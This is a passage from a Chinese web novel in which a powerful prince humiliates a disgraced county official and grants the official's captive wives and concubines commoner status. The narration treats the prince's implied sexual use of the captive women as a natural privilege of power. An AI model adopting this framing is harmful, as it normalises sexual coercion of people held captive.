所有女人的心瞬间提到了嗓子眼!眼中爆发出强烈的求生光芒! “想!”五姨娘带头,声音带着哭腔和决绝,“求殿下开恩!” “想活命,可以。”林臻的声音带着一种掌控生死的冷酷。 他身体微微前倾,目光如同实质般压迫着她们: “那就看你们的表现吧。” 第656章 你媳妇不错 天光微熹,薄雾尚未完全散尽。 林臻的身影出现在县衙门口,清晨微凉的空气带着一丝水汽拂过面颊,却丝毫未能抹去他眼中的清明。 一夜未归,身后跟着的亲卫神色如常,倒是留在衙中的萧寒舟、楚惜灵等人见了,眼中都掠过一丝了然,随即收敛得干干净净,绝无半分探究之意。 在这个时代,上位者的特权如同呼吸般自然。 享用罪臣家眷?这甚至不能算是什么污点,连风流韵事都算不上。 不过是权力带来的、无数微不足道的衍生品之一,如同碾死一只蚂蚁般寻常。 京城教坊司里那成百上千的罪臣妻女,不就是供勋贵百官肆意寻欢作乐的存在吗? 林臻昨夜在王宅,无论做了什么,在所有人看来,都不过是天经地义地验看他应得的“战利品”罢了, 甚至可以说是给那些惶惶不可终日的女人一条渺茫的生路。 林臻对这种默然的“理解”毫不在意,他心中装着更宏大的蓝图。 简单地用过早饭,交代了几件县衙事务后,他便下令去崇明岛看看。 萧寒舟、楚惜灵、毛梦极跟随。 很快,一支由几艘坚固官船和护卫小船组成的船队,在数百名精锐王府亲卫的护卫下,驶离了黄浦江码头,劈开浑浊的江水,朝着长江口的方向行去。 后世被摩天大楼和跨海大桥覆盖的崇明岛,此刻在林臻眼前呈现的,是原始的、略带蛮荒的图景。 它远没有未来那般庞大,只是一片初具雏形、由长江泥沙冲积而成的沙洲。 岸边芦苇丛生,水鸟翔集,除了几个零星简陋的茅草棚,几乎看不到人烟。 船队在浅滩抛锚,林臻一行人换乘小船登上沙岛。 脚下是松软的泥沙,潮湿的空气夹杂着浓烈的草腥味和水汽。 林臻举目四望,目光掠过荒凉的滩涂与远处浩瀚的江海,像是在重新丈量这片属于未来的热土。 后世那种繁华都市的景象在他脑海中一闪而过,他需要的是当下的真实。 “咦?那边有船。”楚惜灵眼尖,指着不远处的一片滩涂。 果然,有几条简陋的渔船搁浅在那里,十来个穿着短褐、皮肤黝黑的渔夫,正忙着在滩涂上设置渔网、蛤蜊堆等物。 他们对于突然出现的官船和大批甲胄鲜明的士兵显然惊恐万分,手上的活儿也停了下来,紧张地望过来。 林臻眉头微蹙,眼神冷了下来。 “梦极。”他声音不高,却带着不容置疑的寒意。 毛梦极立刻领会,上前一步:“世子?” “谁允许他们登岛了?”林臻的目光如同冰冷的刀锋,扫过那些渔民, “我的岛,也是他们想来就来的地方?” 他用了“我的岛”,语气平淡却充满了霸道的占有欲。 毛梦极心中了然,脸上立刻浮现出属于酷吏的精明和冷酷:“属下明白!” 他转身朝着卫队厉声下令:“听见没有!把那些人全都给我轰下去!限他们即刻离岛!自今日起,此岛列为禁地,划归王府治下!未经许可,胆敢擅登者,无论缘由,一律严惩不贷!快!” 一队凶神恶煞的士兵立刻乘小船冲向滩涂,吆喝着驱赶那些惊恐失措的渔民。 渔民们哪见过这等阵仗,连船上的渔获工具都顾不上拿,被如狼似虎的士兵推搡着赶下泥泞的滩涂,狼狈地逃回自己的小破渔船,匆匆解开缆绳,如同受惊的水鸟般仓皇驶离。 就在岛的另一边,靠近主航道的位置,隐约可见几艘样式考究些的客船停泊在不远处的水面。 船头站着一些商贾模样打扮的人,正朝着沙岛这边翘首张望,彼此间似在指点议论。 显然,王有德府邸被抄、沪县新政的消息已经风传出去,一些嗅觉灵敏的商贾已经开始提前探察,觊觎着这块处女地的价值。 “哼。”林臻的嘴角勾起一抹冰冷的、带着掠夺欲望的弧度,眼神玩味地扫过那几艘客船, “一群闻着腥味儿的狐狸……等着吧。” 他的语气带着一丝戏谑和绝对的掌控,“等过些日子,爷的拍卖会开场,非把你们这些奸商口袋里的银子榨得一滴不剩不可。” 想到即将从这些富商身上刮下来的厚利,他那如寒潭般的眼底才掠过一丝真正的满意。 在岛上大致巡视了一圈,初步规划了几个可能作为深水良港预留地点的方位后,林臻便率队返回。 黄昏时分,夕阳的金辉洒满县衙后堂。 楚惜灵坐在书案前,面前摊开着几张上好的宣纸。 她凝神静气,手持一支上等的紫毫,时而蹙眉细思,时而伏案疾书。 她在绘制沪县港口的初步设计草图。 以这个时代的条件,后世那种万吨巨轮停泊的深水港自然是天方夜谭,但设计一个能接纳目前内河及近海中小型船只、更大型化也更规范化的土木石结构码头港口,却是可行的。 她需要在图纸上清晰标注出码头延伸的位置、基础的护坡、货物的装卸区域、乃至简易的栈桥和防风堤的设计思路。 夕阳的余晖透过窗棂,恰好勾勒出她专注而完美的侧影。 几缕乌黑的发丝垂下,微微扫过她光洁的脸颊。 长长的睫毛在白皙的肌肤上投下扇形的阴影,秀挺的鼻梁和微抿的红唇在暖金色的光线中显得格外柔和精致。 她专注于笔下的线条,眉宇间既有属于匠人的严谨,又隐隐透出一种才情横溢的智慧光芒,整个人仿佛笼罩在一层静谧而圣洁的光晕里。 林臻斜倚在旁边的软榻上,手里把玩着一只玉杯,目光却不由自主地落在她身上。 看着这画卷般的一幕,看着她认真思考时偶尔轻轻咬唇的动作,看着她笔下行云流水般勾勒出的精确线条……饶是林臻心志坚如磐石,此刻也微微有些失神。 这样的楚惜灵,美的沉静,美的有力量,像一颗未经打磨却已璀璨夺目的明珠,足以令任何男人心折。 这时,萧寒舟轻步走入堂内,看到林臻正凝视着楚惜灵,脚步微顿,随即躬身行礼,声音放得很轻:“师父,王有德来了,在外面候着,说有事禀报。” 林臻的目光缓缓从楚惜灵身上收回,那一瞬间的柔和迅速被平日的深邃冷冽所取代。他微微颔首。 楚惜灵也停下了画笔,侧头看来。 片刻,王有德的身影出现在门口。 几日不见,他整个人仿佛又瘦了一圈,脸色蜡黄,眼窝深陷,那身昔日合身的锦袍如今挂在身上显得有些空荡,背脊也佝偻了不少,早已不复当初沪县土皇帝的半分威风。 他看到堂内的场景,目光在楚惜灵身上飞快地扫过,随即低垂得更低,恭谨无比地躬身行礼,嗓音带着小心翼翼的嘶哑: “小人王有德,叩见世子殿下。殿下交代的拍卖场地,已在原漕帮库房区清空圈出,布置基本完成,相关告示及请柬也已在加紧印制发送。一应护卫、引导、文书记录人手均已备妥,绝不敢误了殿下的大事。” 他咽了口唾沫,语气愈发恭敬, “还有张俪夫人那边也在全力配合,正广邀东南各家商贾豪绅,替殿下款待安抚四方来客。” 林臻端着玉杯,目光在王有德那张惶恐不安的脸上停留片刻,才淡淡开口:“嗯,做得尚可。” 语气听不出喜怒。 王有德心中却是翻江倒海。 关于昨夜林臻在自己那已被封锁监视的宅院中留宿的消息,已有他的心腹下人冒着风险悄悄传递给了他。 此刻他就站在这里,看着林臻那平静无波的脸,想到自己那些妻妾……那份屈辱、恐惧、还有一种难以言喻的嫉妒如同毒蛇般啃噬着他的心脏。 他多么想开口问一句:“殿下昨夜……可曾安歇得好?” 或者, “那些不知死活的女人,可有冲撞殿下?” 但他不敢。 话在喉咙里滚了又滚,最终一个字也吐不出来。 他甚至连头都不敢抬得再高一些,只觉一股寒意从脚底直冲天灵盖。 就在王有德满心煎熬,几乎要窒息之时。 林臻忽然放下玉杯,身体微微前倾,脸上缓缓绽开一个近乎玩味的、带着十足讽刺意味的笑容。 他的声音不高,却如同淬了毒的冰锥,狠狠扎进王有德的心窝: “呵呵呵……”低沉的轻笑在安静的厅堂里显得格外清晰。林臻的目光如同审视货物般在王有德身上转了一圈,语气是那种居高临下的、如同点评圈中牲畜般的轻佻: “有德啊,本世子发现……” 他故意停顿了一下,满意地看着王有德的身体开始不受控制地微微颤抖。 “你这人虽然办得事儿猪狗不如,人嘛也是一塌糊涂,但这选老婆的眼光……倒还真有几分独到之处。” 轰隆——! 仿佛一道炸雷在王有德的脑海中轰鸣! 他的身体猛地一个剧烈摇晃,眼前发黑,心脏像是被一只无形的大手狠狠攥紧,瞬间停止跳动了一瞬! 脸上最后一点血色也褪得一干二净,变得惨白如死人! 这句话无异于一把烧红的烙铁,狠狠地、公开地、带着轻蔑至极的态度,烙在了他作为一个男人最后的、也是最隐秘的尊严之上! 萧寒舟眼帘微垂,仿佛什么都没听到。 楚惜灵握着画笔的手微不可查地一停,随即继续在纸上勾勒线条,只是笔触似乎更加流畅坚定了一些。 而王有德,在巨大的耻辱和恐惧洪流的冲刷下,只觉喉头腥甜,几欲呕血。 他用尽了全身力气才勉强控制住没有当场瘫倒,那本就佝偻的身体更加蜷缩,几乎伏在了地上,声音是从牙缝里挤出来的、带着灵魂都在颤抖的回应: “世子……谬……谬赞……” 第657章 就做普通百姓吧 黄昏的余晖透过雕花窗棂,在县衙内堂光洁的金砖地面上投下长长的、扭曲的光斑。 空气里弥漫着沉水香燃烧后留下的清冽余韵,混合着墨汁的涩气,形成一种肃穆而略带压抑的氛围。 王有德佝偻着身体,几乎将自己缩成一团,跪在冰冷的地砖上。方才林臻那句“选老婆眼光独到”的诛心之言,如同烧红的烙铁,狠狠烫在他的灵魂深处,将他最后一点作为男人的尊严彻底碾碎。 巨大的耻辱感混合着深入骨髓的恐惧,让他浑身抖如筛糠,额头死死抵着地面,冰冷的触感也无法平息他内心的翻江倒海。 他感觉自己像一条被剥光了鳞片、扔在砧板上的鱼,只能徒劳地等待最后的宰割。 时间仿佛凝固了许久。 林臻端坐于主位,修长的手指无意识地摩挲着腰间那枚温润的蟠龙玉佩,目光平静地落在脚下那滩如同烂泥般的身影上,似乎在欣赏他最后的挣扎。 楚惜灵早已收拾好图纸,安静地侍立在一旁,眼神清澈,如同旁观者。萧寒舟垂手肃立,眼观鼻,鼻观心。 终于,王有德再也无法忍受这死寂的煎熬和灵魂的鞭挞。 他猛地抬起头,那张蜡黄浮肿的脸上涕泪横流,混合着汗水和灰尘,糊成一团,狼狈不堪。 他眼中充满了极致的绝望和卑微的乞求,声音嘶哑破裂,带着哭腔和不顾一切的决绝: “殿……殿下!小人……小人罪该万死!罪该万死啊!!”他一边哭嚎,一边用额头疯狂地撞击着地面,发出沉闷的“砰砰”声,额角瞬间青紫一片,渗出血丝。 “小人……小人自知罪孽深重!百死莫赎!不敢奢求殿下饶恕!” 他抬起那张涕泪模糊、血迹斑斑的脸,眼中爆发出一种近乎疯狂的、孤注一掷的光芒, “但……但求殿下开恩!开恩啊!饶了小人的家眷!饶了……饶了我那些无辜的孩子吧!!” 他双手死死抠着冰冷的地砖,指甲几乎要崩裂,声音因为激动而变得尖利扭曲: “小人……小人愿以死谢罪!现在!立刻!就死在殿下面前!只求殿下垂怜给她们一条活路!让她们做个最下贱的奴婢也好!流放千里也罢!只求能活下去!求殿下开恩!开恩啊!!” 他再次重重磕头,额头撞击地面的声音在寂静的大厅里显得格外刺耳。 林臻静静地看着他涕泪横流、磕头如捣蒜的丑态,脸上没有任何表情。 直到王有德因为剧烈的动作和情绪激动而几乎虚脱,瘫软在地,只剩下粗重绝望的喘息时,他才缓缓开口,声音如同冰泉流淌,平静无波: “活路?” 他微微前倾身体,目光如同实质般落在王有德那张绝望的脸上: “王有德,你可知……‘活路’二字,在本王这里,意味着什么?” 王有德如同抓住最后一根稻草,挣扎着抬起头,浑浊的眼睛里充满了卑微的希冀:“求……求殿下明示!小人……小人万死……也……也感念殿下恩德!” 林臻的目光扫过王有德,又仿佛透过他,看向那被封锁的王家宅院深处,那些在恐惧中瑟瑟发抖的女人和孩子。 “活路……”林臻的声音低沉而清晰,带着一种不容置疑的决断, “我给你的活路就是彻底斩断过去!斩断你们王家曾经拥有的一切!身份、地位、财富、特权,所有的一切!灰飞烟灭!荡然无存!” 他的话语如同重锤,狠狠砸在王有德心上: “本世子已经决定了,从今往后,你的家人不再是官宦家眷,不再是富家千金,不再是公子小姐!” “她们……”林臻一字一顿,清晰地吐出那个对王有德来说如同天堑般的身份,“只是沪县的普通百姓!?” “普通百姓?”王有德喃喃重复着,眼中充满了茫然和难以置信。 这个身份,对于曾经高高在上的王家来说,无异于从云端跌落泥潭! 但……这泥潭,至少是活的! 不是死路! “没错。”林臻的声音带着一种掌控生死的冷酷和施舍般的“仁慈”, “本王可以给她们一个普通百姓的身份。让她们像这沪县千千万万的穷苦人一样,活着。” 他顿了顿,目光变得锐利如刀: “但,也仅仅是活着!” “她们不会再有任何特权!不会再有任何庇护!她们必须靠自己的双手,去挣一口饭吃!去挣一件衣穿!去挣一个遮风挡雨的屋檐!” “她们要遵守沪县的一切律法!缴纳该缴的赋税!承担该服的劳役!接受官府的管束!和所有普通百姓一样!” “她们曾经的姓氏、身份、过往都将被彻底抹去!如同从未存在过!” “她们将彻底融入这沪县的芸芸众生之中!成为最不起眼、最底层的那一粒尘埃!” 林臻的声音带着一种近乎残酷的平静: “这就是本王给她们的唯一的活路。” “你明白了吗?” 王有德呆呆地听着,巨大的落差让他一时无法反应。 从高高在上的官宦家眷,到最底层的普通百姓……这落差如同天堑! 但……这至少是活路! 是实实在在的、可以触摸到的活路! 不再是虚无缥缈的幻想! 不再是任人宰割的奴婢! 不再是流放千里、生死难料的囚徒! 巨大的狂喜如同潮水般瞬间冲垮了他所有的屈辱和恐惧! 他猛地抬起头,脸上涕泪横流,混合着额头的血迹,显得狰狞而卑微,眼中却爆发出前所未有的、如同溺水者抓住浮木般的狂喜光芒! “明白!小人明白!谢殿下!谢殿下天恩!!” 他再次不顾一切地重重磕头,声音因为激动而嘶哑破音, “普通百姓好啊!能活着!能堂堂正正地活着!比什么都强!比什么都强啊!殿下!小人……小人代她们……谢殿下再造之恩!万死难报!万死难报啊!!” 他语无伦次,只知道拼命磕头,仿佛要将满腔的感激和卑微都磕进这冰冷的地砖里。 林臻看着他这副卑微到尘埃里的狂喜模样,眼中闪过一丝不易察觉的嘲弄。他微微抬手,示意他停下。 “先别急着谢恩。”林臻的声音带着一丝冰冷的警告,“这条路,本王给了。但能不能走下去,能不能活得像个人样……还得看她们自己。” 他的目光变得深邃而充满压力: “记住本王的话——” “从她们获得普通百姓身份的那一刻起,她们与王家,与你王有德,再无半分瓜葛!” “她们必须彻底忘记过去!忘记曾经的身份!忘记你这个人!” “她们要像真正的普通百姓一样,去劳作,去谋生,去遵守规矩!若有人敢仗着曾经的‘关系’,或者打着本王的旗号,在沪县惹是生非、欺凌弱小、或者试图恢复旧日风光……” 林臻的声音陡然转寒,如同来自九幽地狱: “那么等待她们的,就不是做回普通百姓那么简单了!本王会让她们连做鬼的机会都没有!你可听清楚了?!” 王有德浑身剧震! 如同被一盆冰水兜头浇下! 狂喜瞬间被刺骨的寒意取代! 他连忙再次磕头,声音带着极致的恐惧和顺从:“听清楚了!小人听清楚了!小人绝不敢让她们再生事端!绝不敢!她们就是最普通的百姓!和街上的贩夫走卒没有任何区别!小人会嘱咐她们的,绝不敢……绝不敢辜负殿下天恩!” “很好。”林臻满意地点点头,重新靠回椅背,姿态恢复慵懒,“起来吧,给你个机会,回去告诉她们。拍卖会结束之后,本王会派人去办理户籍变更。从此,她们就是沪县在册的普通民户了。” 他挥了挥手,如同驱赶一只苍蝇:“去吧。” 王有德如蒙大赦,连滚爬带地站起身,又深深作揖,才佝偻着腰,踉踉跄跄、却又带着一种劫后余生般的狂喜和虚脱,退出了内堂。 那背影,充满了卑微、庆幸和一种难以言喻的悲凉。 第658章 我不愿意 沪县王家宅院,这座曾经象征着权势与奢华的深宅大院,如今如同一座巨大的、被遗忘的坟墓。 高墙之外,是热火朝天的建设喧嚣和日渐复苏的市井气息;高墙之内,却依旧弥漫着令人窒息的绝望与死寂。 金吾卫士兵如同沉默的铁塔,日夜轮班把守着所有出入口,冰冷的铠甲在阳光下反射着幽光,隔绝了内外两个世界。 后宅暖阁,门窗紧闭,厚重的帘幕遮挡了大部分光线,使得室内即使在白天也显得昏暗压抑。 空气中残留着名贵熏香的气息,却掩盖不住那股如同朽木般衰败的霉味和女人们身上散发出的、混合着脂粉与恐惧汗液的酸腐气息。 王氏(正妻)斜倚在一张铺着半旧锦缎的贵妃榻上,脸色蜡黄,眼窝深陷,曾经精心保养的容颜如今憔悴不堪,如同被抽干了水分的花朵。 她手中无意识地绞着一方丝帕,眼神空洞地望着窗外被高墙切割成方块的、灰蒙蒙的天空。 四姨娘坐在下首一张绣墩上,同样神情萎靡,往日娇媚的眉眼间只剩下麻木的疲惫。 六姨娘则蜷缩在角落的阴影里,抱着膝盖,下巴抵在膝头,清丽的侧脸在昏暗光线下如同易碎的瓷器,眼神空洞,仿佛灵魂早已游离。 九姨娘依偎在六姨娘身边,小脸上带着尚未完全褪去的惊惶和茫然,她还不完全明白发生了什么,但周遭压抑的气氛让她本能地感到恐惧。 其余几位侍妾也各自散坐在角落,如同失去生气的木偶,空气中弥漫着一种等待最终审判的、令人窒息的沉默。 打破这死寂的,是暖阁门帘被猛地掀开时带起的一阵微弱气流。 五姨娘如同一阵风般卷了进来! 她脸上带着一种极其复杂的表情——混合着难以置信的震惊、一丝微弱的狂喜、以及深入骨髓的恐惧! 她的呼吸有些急促,胸口微微起伏,发髻有些散乱,几缕碎发贴在汗湿的额角,显然是一路小跑回来的。 “夫人!姐姐们!”五姨娘的声音因为激动而微微发颤,她冲到暖阁中央,目光如同探照灯般扫过众人麻木的脸庞。 王氏被她惊动,空洞的眼神聚焦在她脸上,带着一丝被打扰的不悦和更深的绝望:“老五……你……你又去打探什么了?外面那些兵……凶神恶煞的……万一……” 她的声音嘶哑无力。 “打探到了!打探到了!”五姨娘打断她,声音陡然拔高,带着一种孤注一掷的兴奋和急切,“天大的消息!关乎我们所有人!关乎孩子们的性命!” “性命?”这个词如同投入死水的巨石,瞬间激起了涟漪! 所有女眷都猛地抬起头,麻木的眼神中爆发出强烈的求生光芒! 王氏挣扎着坐直身体,四姨娘瞪大了眼睛,六姨娘空洞的眼神里也燃起一丝微弱的火苗,九姨娘更是紧张地抓住了六姨娘的衣袖。 “快说!老五!快说啊!”四姨娘急声催促,声音带着哭腔。 五姨娘深吸一口气,努力平复着狂跳的心脏,她环视众人,一字一顿,清晰地说道: “我……我刚刚……花了十两银子!买通了看守后角门的一个小旗官(低级军官)!” 她的话让所有人倒吸一口冷气! 买通守卫?! 这可是大忌!万一被发现…… 但五姨娘顾不上了,她眼中闪烁着孤狼般的光芒:“他……他告诉我!世子殿下……世子殿下开恩了!” “开恩?!”王氏的声音陡然尖利起来,身体因为激动而微微前倾,“他……他肯放过我们了?!放过孩子们了?!” “不是放过!”五姨娘用力摇头,眼中闪烁着复杂的光芒,“是……是给了我们一条……活路!” 她顿了顿,似乎在组织语言,声音带着一种难以言喻的激动和一丝不易察觉的茫然: “世子殿下……答应让我们所有人……” 她深吸一口气,仿佛用尽了全身力气,喊出了那个足以改变她们命运的词: “做沪县的普通百姓!?” “普通百姓?” “普通百姓?!” “什么?!” 暖阁内瞬间陷入一片死寂!紧接着,是此起彼伏的、充满了难以置信和巨大落差的惊呼! 王氏脸上的狂喜瞬间凝固,取而代之的是一种巨大的茫然和难以接受的落差感! 她猛地站起身,声音因为激动而变得尖利刺耳:“普通百姓?老五你没听错吧?!我们可是官宦家眷,是县令夫人,是官太太!怎么能去做那低贱的平头百姓?!这……这算什么活路?!这和流放为奴有什么区别?!” 巨大的屈辱感和身份地位的崩塌感如同潮水般瞬间淹没了她! 她无法接受! 她宁可被流放,被贬为官奴,至少还有个“官”字! 也比做那泥腿子般的“普通百姓”强! 她王家世代为官(虽然只是小吏),她从小锦衣玉食,十指不沾阳春水! 让她去做普通百姓? 和那些面朝黄土背朝天、浑身汗臭的泥腿子一样? 去种地? 去洗衣做饭? 去为了一口饭看人脸色?! 这简直比杀了她还难受! “就是!”四姨娘也猛地站起来,脸上带着同样的屈辱和不甘,“我们可是伺候过老爷的!是官家内眷!怎么能去做那下贱的营生?!世子殿下……他……他这是要羞辱我们吗?!” 她眼中充满了愤怒和怨恨。 六姨娘蜷缩在角落,听到“普通百姓”四个字时,身体猛地一颤! 她缓缓抬起头,那双空洞的眼睛里,却爆发出一种前所未有的、奇异的光芒! 不再是绝望,不再是麻木,而是一种……近乎疯狂的解脱和希冀! 普通百姓? 不再是官宦家眷? 不再是……王有德的玩物?! 这意味着……她可以彻底摆脱那个恶魔的阴影?! 可以……可以像一个真正的人一样,清清白白地活着?! 哪怕是最卑微的活着?! 巨大的冲击让她浑身颤抖,泪水无声地汹涌而出,但这一次,泪水里不再是绝望。 而是……希望! 第659章 我愿意 九姨娘懵懂地看着大人们的反应,她不太明白“普通百姓”意味着什么,但她能感受到六姨娘姐姐的激动和泪水, 那似乎……不是坏事? 她怯生生地小声问:“六姐,普通百姓是不是就不用被关在这里了?可以出去玩了?” “闭嘴!你懂什么!”王氏猛地转头,对着九姨娘厉声呵斥,脸上因为愤怒和屈辱而扭曲,“出去?!去做那下贱的营生?!我宁可死在这里!也绝不去做那丢人现眼的泥腿子!” “对!我们宁可死!”四姨娘也尖声附和,脸上充满了对未来的恐惧和对身份的执念。 暖阁内瞬间分成了两派! 王氏和四姨娘为首的几人,沉浸在巨大的身份落差带来的屈辱和愤怒中,无法接受;而六姨娘、九姨娘以及另外两个同样出身低微或曾被强抢的侍妾,眼中却燃起了强烈的求生光芒和对新生的渴望! 五姨娘看着眼前这混乱的局面,心中充满了焦急和无奈!她猛地一拍桌子! “够了!”她的声音带着一种破釜沉舟的狠厉和不容置疑的决断,“都给我闭嘴!” 她目光如刀,狠狠刺向王氏和四姨娘: “夫人!四姐!你们醒醒吧!还做什么官太太的春秋大梦?!王家倒了!王有德那个老贼自身难保!他马上就要被千刀万剐了!我们是什么?!我们是砧板上的鱼肉!是待宰的羔羊!世子殿下现在肯开恩,给我们一条活路!一条能堂堂正正、清清白白活着的路!你们还嫌这路不够体面?!” 她指着窗外,声音带着悲愤: “看看外面!看看那些被金吾卫看守的日子!我们和囚犯有什么区别?!等着被发卖?被充作官妓?被流放到苦寒之地做牛做马?!还是等着被砍头?!这就是你们想要的体面?!” 她的话如同重锤,狠狠砸在王氏和四姨娘心上! 两人脸色瞬间惨白! 五姨娘的声音带着哭腔和极致的恳求,目光扫过所有人,尤其是那几个年幼懵懂的孩子: “普通百姓怎么了?!普通百姓也是人!也能靠自己的双手吃饭!也能堂堂正正地走在阳光下!不用再担惊受怕!不用再被人戳脊梁骨!不用再背着贪官家眷的骂名! 孩子们……孩子们也不用生下来就是罪籍!可以读书!可以学手艺!可以有个清清白白的未来啊!” 她猛地转向六姨娘,声音带着一种同病相怜的悲悯:“小六!你难道不想彻底摆脱那个恶魔的阴影?!不想干干净净地重新开始?!” 她又看向九姨娘和那几个孩子:“阿九!孩子们!你们难道想一辈子被关在这暗无天日的牢笼里?!或者被卖到不知名的肮脏地方去?!” 她的话,如同惊雷,在每个人心中炸响! 尤其是提到孩子,王氏和四姨娘眼中那顽固的抗拒和屈辱,终于开始动摇! 她们的目光不由自主地看向依偎在六姨娘身边、懵懂无知的孩子,看向那几个躲在角落、眼神惊恐的庶子庶女……是啊! 她们可以为了所谓的“体面”去死,可孩子们呢?难道也要跟着她们一起毁灭吗?! 六姨娘猛地站起身,清丽的脸上泪痕未干,却带着一种前所未有的坚定和决绝! 她走到暖阁中央,声音不大,却异常清晰,带着一种破茧重生的力量: “五姐说得对!我愿意做普通百姓!我受够了!受够了这金丝牢笼!受够了这暗无天日!受够了……受够了那个恶魔的阴影!只要能离开这里!能清清白白地活着!能靠自己的双手养活自己!哪怕是去给人洗衣做饭!去田里种地!去码头扛包!我也愿意!我要重新开始!” 她的话语掷地有声,眼中燃烧着新生的火焰! “我……我也愿意!”九姨娘虽然懵懂,但也被六姨娘的情绪感染,怯生生地举起小手,“我……我会绣花!会做饭!我……我能干活!我不要被关在这里了!” 另外两个侍妾也连忙点头:“我们……我们也愿意!求夫人开恩!给孩子们一条活路吧!” 王氏看着六姨娘那充满决绝和希望的眼神,看着九姨娘懵懂却坚定的表情,看着孩子们眼中纯粹的恐惧和对自由的渴望…… 再看看五姨娘那孤注一掷的恳求和四姨娘眼中逐渐动摇的挣扎…… 她心中那堵名为“身份”和“体面”的高墙,终于轰然倒塌! 巨大的疲惫和绝望如同潮水般将她淹没,随之而来的,是一种深入骨髓的解脱和一丝微弱的、对新生的希冀。 她颓然跌坐回贵妃榻上,双手捂住脸,泪水从指缝中汹涌而出,声音带着无尽的悲凉和认命: “罢了……罢了……是我……是我糊涂了……” 她抬起头,脸上泪水纵横,眼中充满了对过往的痛恨和对未来的茫然: “王有德那个天杀的畜生!他造的孽,他欠的血债凭什么要我们,要孩子们来还?!凭什么啊!!” 她终于发出了积压已久的、对王有德的刻骨诅咒!那声音充满了怨毒和恨意! “他该死!他千刀万剐都不为过!他毁了我!毁了王家!毁了我们所有人!!” 四姨娘也如同被点燃的炮仗,跟着哭骂起来,将长久以来对王有德的恐惧和怨恨彻底宣泄! 一时间,暖阁内充满了对王有德的诅咒和痛骂! 女人们积压了多年的委屈、恐惧、怨恨,如同火山般喷发! 她们咒骂他的贪婪,咒骂他的狠毒,咒骂他的无能,咒骂他带给她们的无尽屈辱和如今的灭顶之灾! 王有德的名字,在这座他曾经作威作福的深宅里,成了最肮脏、最恶毒的诅咒! 在这片愤怒的哭骂声中,五姨娘却缓缓走到窗边,推开一丝缝隙。 她望着县衙的方向,眼中充满了复杂难言的情绪——有对王有德的刻骨恨意,有对过往的痛悔,但更多的,是一种劫后余生的、对那位年轻世子的敬畏与感激。 就在这时,小厮跑了进来。 “夫人们!!老爷回来了!” 第660章 你怎么不去死? 门帘被猛地掀开,带起一股微弱的气流,搅动了暖阁内弥漫着皂角清香与新生希望的气息。 王有德的身影出现在门口。 他穿着一身崭新的、象征“戴罪立功”的青色吏服,脸上带着一种混合着疲惫、一丝不易察觉的得意和某种难以言喻的、仿佛完成了一件天大功勋般的亢奋。 他几乎是踉跄着冲了进来,脸上挤出一个自以为宽慰的笑容,声音带着嘶哑和一种急于表功的急切: “夫人们!好消息!天大的好消息啊!!” 他张开双臂,仿佛要拥抱这满屋的“喜气”,声音因为激动而微微拔高: “成了!成了啊!世子殿下开恩了!他赦免你们了!!” 暖阁内瞬间陷入一片死寂。 王氏(正妻)手中缝补的粗布衣裳“啪嗒”一声掉在地上,针尖刺破了手指,沁出一粒血珠, 她却浑然不觉,只是僵硬地抬起头,蜡黄的脸上没有任何表情,空洞的眼神如同看一个陌生人。 四姨娘正对着铜镜剪去最后一支累赘的金钗,闻声手一抖,锋利的剪刀尖差点划破耳垂。 她猛地转过身,脸上精心维持的决绝瞬间被惊愕和一丝难以掩饰的厌恶取代。 六姨娘怀抱着儿子霖哥儿,轻柔的读书声戛然而止。 她下意识地将孩子往怀里紧了紧,清丽的脸上血色褪尽,眼中瞬间盈满了屈辱的泪水,却死死咬着嘴唇,低下头,避开了王有德的目光。 九姨娘正和几个侍妾笨拙地搓洗衣物,水花溅湿了裙角。此刻她们的动作僵住,湿漉漉的手停在半空,脸上带着茫然和一丝被惊扰的恐惧,如同受惊的小鹿。 五姨娘站在屋子中央,正麻利地指挥庶女整理包袱。 闻声,她猛地转过身,动作干脆利落,如同出鞘的利剑。 那双锐利的眼睛如同淬了冰的刀子,冷冷地钉在王有德那张带着谄媚笑容的脸上,嘴角缓缓勾起一抹冰冷刺骨的弧度。 没有惊喜! 没有感激! 没有痛哭流涕! 只有一片冰冷的、带着疏离、审视、甚至……一丝不易察觉的厌恶的沉默! 空气仿佛凝固了,只剩下窗外偶尔传来的几声鸟鸣,更衬得屋内死寂得可怕。 王有德脸上的笑容瞬间僵住! 如同被冻住的面具! 他张开的手臂尴尬地停在半空,进也不是,退也不是。 一股寒意顺着脊椎骨瞬间爬满全身! 他难以置信地看着眼前这些熟悉又陌生的面孔,看着她们眼中那毫不掩饰的冷漠和怨恨。 “哼。”一声清晰的、带着浓浓讥讽和不屑的冷哼打破了死寂,如同冰锥凿破冰面。 五姨娘放下手中的包袱,双手抱臂,脊背挺得笔直,眼神如同两道寒光,直刺王有德。 “王大人……”她刻意加重了“大人”二字,尾音拖得又长又冷,充满了刻骨的讽刺,“您这消息来得可真够及时的。” 她嘴角那抹冰冷的弧度加深,带着毫不掩饰的鄙夷:“我们早就知道了。世子殿下开恩,给我们这些罪臣家眷一条活路,做沪县的普通百姓!这事儿,还用得着您这位戴罪立功的王大人,特意跑回来报喜?” 王有德脸上的血色“唰”地一下褪得一干二净! 他像是被当众狠狠抽了一记耳光,火辣辣的屈辱感瞬间烧遍全身! 他难以置信地看着五姨娘,又看看周围那些冷漠、甚至带着怨恨的目光,心中那点可怜的得意瞬间被巨大的羞辱和愤怒取代! “你……你们……”他声音颤抖,指着五姨娘,又指向其他人,手指因为激动而剧烈哆嗦, “你们这是什么态度?!你们知道我为你们付出了多大的代价吗?!啊?!” 他猛地踏前一步,脸上因为激动和委屈而扭曲变形,声音陡然拔高,带着一种被辜负的愤怒和歇斯底里: “是我!是我在世子殿下面前磕头求饶!磕得头破血流!是我用这条老命做担保!是我卑躬屈膝!是我把最后一点脸面都豁出去了!才换来世子殿下开恩!才换来你们这条活路啊!!” 他挥舞着手臂,唾沫横飞,试图唤起她们的感激,声音因为极度的委屈而变得尖利: “你们难道不该感激我吗?!不该谢谢我这个一家之主吗?!没有我王有德你们早就被发卖为奴!流放千里了!哪还有机会在这里做你们的普通百姓?!啊?!你们摸摸良心!你们的良心都被狗吃了吗?!” “感激你?!”五姨娘像是听到了天底下最可笑的笑话,猛地爆发出一阵尖锐刺耳的冷笑! 那笑声如同夜枭啼血,充满了无尽的怨毒和刻骨的恨意,震得窗棂都仿佛在嗡嗡作响! “王有德!你还有脸让我们感激你?!!” 她如同被点燃的炸药桶,一步冲到王有德面前,手指几乎要戳到他的鼻子上! 眼中燃烧着熊熊怒火,声音因为极致的愤怒而变得尖利嘶哑,如同砂纸摩擦: 